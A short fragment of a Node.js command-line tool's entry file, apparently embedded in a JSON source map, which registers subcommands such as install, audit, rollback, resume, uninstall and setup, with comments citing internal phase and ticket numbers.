added in phase 2.3 W3 T3.2 — EE-5 5Q merge gate, D-03 BOTH 双闸 L1;\n// resume added in phase 3.1 W4 T4.4 — R7.3 D-03 RELOAD checkpoint reload).\nregisterInstall(program)\nregisterInstallBase(program)\nregisterResearch(program)\nregisterExecuteTask(program)\nregisterManifestAdd(program)\nregisterDoctor(program)\nregisterAudit(program)\nregisterAuditLog(program) // Phase 5.1 W1 T1.3 — 13th subcommand (R10.1 D-01 jq filter consumer)\nregisterRollback(program)\nregisterStatus(program)\nregisterBackupList(program)\nregisterGc(program)\nregisterResume(program) // Phase 3.1 W4 T4.4 — 12th subcommand (R7.3 D-03 RELOAD)\nregisterUninstall(program) // Phase 5.2 W1 T1.1 — 14th subcommand (R10.3 D-01 7-method dispatch)\nregisterSetup(program) // v1.0.1 T1.5 — 15th subcommand (one-time onboarding workflows/*/SKILL.md → ~/.claude/skills/)\n\nprogram.parse(process.argv)\n"]}
|